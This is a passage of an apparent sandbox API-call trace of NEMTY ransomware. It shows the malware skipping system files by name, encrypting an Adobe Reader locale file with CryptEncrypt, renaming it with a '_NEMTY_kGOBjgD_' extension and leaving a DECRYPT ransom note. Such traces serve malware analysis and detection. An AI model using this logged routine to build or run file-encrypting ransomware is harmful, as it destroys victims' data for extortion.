(lpString1="Services.asfx", lpString2="programdata") returned 1 [0179.249] lstrcmpiW (lpString1="Services.asfx", lpString2="appdata") returned 1 [0179.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0179.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0179.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0179.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0179.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0179.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0179.250] Sleep (dwMilliseconds=0x5) [0179.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1e7e1cd0, dwHighDateTime=0x1d561e8)) [0179.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1e7e1cd0, dwHighDateTime=0x1d561e8)) [0179.257] GetLastError () returned 0x0 [0179.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.257] GetLastError () returned 0x0 [0179.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.258] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0179.258] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0179.258] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0179.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0179.258] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="TfnH+g7VGyo/qHqxxiDDprXmZt84l4lAMRpwnuI3qAo8zWZn8HV/5Y3Y9K/yGBrN\r\n7Yzn85OJr3KSzze76T4WxNon35v4TNxNufuqw1J1mEuDo7Q6njTTWgWSdCpCmlhH\r\nVWQqKzzAyG4kHfCnRRGIHU50Q/4AKjY9Nb4vcRAfew2ge0MnSJ2Ghm0SwE4cf1Ae\r\nKrR8AuklT63DeIfxY2LQDRtIm06bDYAHQnUMHqUKB48XTvEBkGzCDcozpsTVLta+\r\nFhI/biLffWdS55L3jV3zbFLcclMTJODYACueK1pIwjW04n15faY7RmQuPCQuaPb2\r\nFnXUdOg8Z675R5E8WqJtfA==\r\n", pcchString=0x653e29c) returned 1 [0179.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0179.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0179.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.258] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0179.258] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=228) returned 1 [0179.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340270 [0179.258] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.258] ReadFile (in: hFile=0x2f0, lpBuffer=0x6340270, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesRead=0x653e4e4*=0xe0, lpOverlapped=0x0) returned 1 [0179.259] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.259] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340270*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesWritten=0x653e4dc*=0xe0, lpOverlapped=0x0) returned 1 [0179.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0179.260] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=228, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe4 [0179.260] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0179.260] CloseHandle (hObject=0x2f0) returned 1 [0179.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0179.260] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.260] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0179.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0179.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0179.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.260] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\Services.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\services\\services.asfx._nemty_kgobjgd_")) returned 1 [0179.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0179.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0179.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0179.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.261] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e76f8b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1e76f8b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1e795a10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0179.261] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0179.261] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0179.261] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0179.261] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0179.261] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0179.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0179.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0179.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0179.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0179.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0179.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0179.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0179.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0179.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0179.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0179.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0179.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0179.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0179.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0179.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0179.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0179.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0179.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0179.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0179.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0179.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0179.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0179.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0179.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0179.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0179.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0179.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0179.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.263] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e76f8b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1e76f8b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1e795a10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0179.263] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0179.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0179.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0179.263] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Spelling.JPN", cAlternateFileName="")) returned 1 [0179.263] lstrcmpiW (lpString1="Spelling.JPN", lpString2=".") returned 1 [0179.263] lstrcmpiW (lpString1="Spelling.JPN", lpString2="..") returned 1 [0179.263] lstrcmpiW (lpString1="Spelling.JPN", lpString2="...") returned 1 [0179.263] lstrcmpiW (lpString1="Spelling.JPN", lpString2="windows") returned -1 [0179.263] lstrcmpiW (lpString1="Spelling.JPN", lpString2="$RECYCLE.BIN") returned 1 [0179.263] lstrcmpiW (lpString1="Spelling.JPN", lpString2="rsa") returned 1 [0179.263] lstrcmpiW (lpString1="Spelling.JPN", lpString2="NTDETECT.COM") returned 1 [0179.263] lstrcmpiW (lpString1="Spelling.JPN", lpString2="ntldr") returned 1 [0179.263] lstrcmpiW (lpString1="Spelling.JPN", lpString2="MSDOS.SYS") returned 1 [0179.263] lstrcmpiW (lpString1="Spelling.JPN", lpString2="IO.SYS") returned 1 [0179.263] lstrcmpiW (lpString1="Spelling.JPN", lpString2="boot.ini") returned 1 [0179.263] lstrcmpiW (lpString1="Spelling.JPN", lpString2="boot.ini") returned 1 [0179.263] lstrcmpiW (lpString1="Spelling.JPN", lpString2="AUTOEXEC.BAT") returned 1 [0179.263] lstrcmpiW (lpString1="Spelling.JPN", lpString2="ntuser.dat") returned 1 [0179.263] lstrcmpiW (lpString1="Spelling.JPN", lpString2="desktop.ini") returned 1 [0179.263] lstrcmpiW (lpString1="Spelling.JPN", lpString2="CONFIG.SYS") returned 1 [0179.263] lstrcmpiW (lpString1="Spelling.JPN", lpString2="RECYCLER") returned 1 [0179.264] lstrcmpiW (lpString1="Spelling.JPN", lpString2="BOOTSECT.BAK") returned 1 [0179.264] lstrcmpiW (lpString1="Spelling.JPN", lpString2="bootmgr") returned 1 [0179.264] lstrcmpiW (lpString1="Spelling.JPN", lpString2="programdata") returned 1 [0179.264] lstrcmpiW (lpString1="Spelling.JPN", lpString2="appdata") returned 1 [0179.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.JPN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.JPN", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.JPN", lpUsedDefaultChar=0x0) returned 12 [0179.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.JPN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.JPN", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.JPN", lpUsedDefaultChar=0x0) returned 12 [0179.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.JPN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.JPN", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.JPN", lpUsedDefaultChar=0x0) returned 12 [0179.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.JPN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.JPN", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.JPN", lpUsedDefaultChar=0x0) returned 12 [0179.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0179.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.264] Sleep (dwMilliseconds=0x5) [0179.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e807e30, dwHighDateTime=0x1d561e8)) [0179.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e807e30, dwHighDateTime=0x1d561e8)) [0179.273] GetLastError () returned 0x12 [0179.273] RtlAllocateHeap (HeapHandle=0x4f90000, 